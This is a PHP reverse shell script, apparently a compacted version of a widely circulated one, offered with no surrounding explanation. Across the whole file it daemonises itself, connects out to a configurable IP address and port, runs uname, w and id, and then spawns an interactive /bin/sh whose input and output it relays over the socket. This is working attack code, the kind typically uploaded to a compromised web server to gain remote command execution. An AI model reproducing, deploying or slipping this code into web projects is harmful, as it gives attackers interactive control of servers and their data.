<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';
$p = 1234;
$c_s = 1400;
$w_a = null;
$e_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);}
	if ($pid) {
		exit(0); }
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);}
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is common and not fatal.");}
chdir("/");
umask(0);
$sock = fsockopen($ip, $p, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);}
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$p");
while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;}
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;}
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $w_a, $e_a, null);
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $c_s);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);}
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $c_s);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);}
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $c_s);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);}}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
	if (!$daemon) {
		print "$string\n";}}
?> 

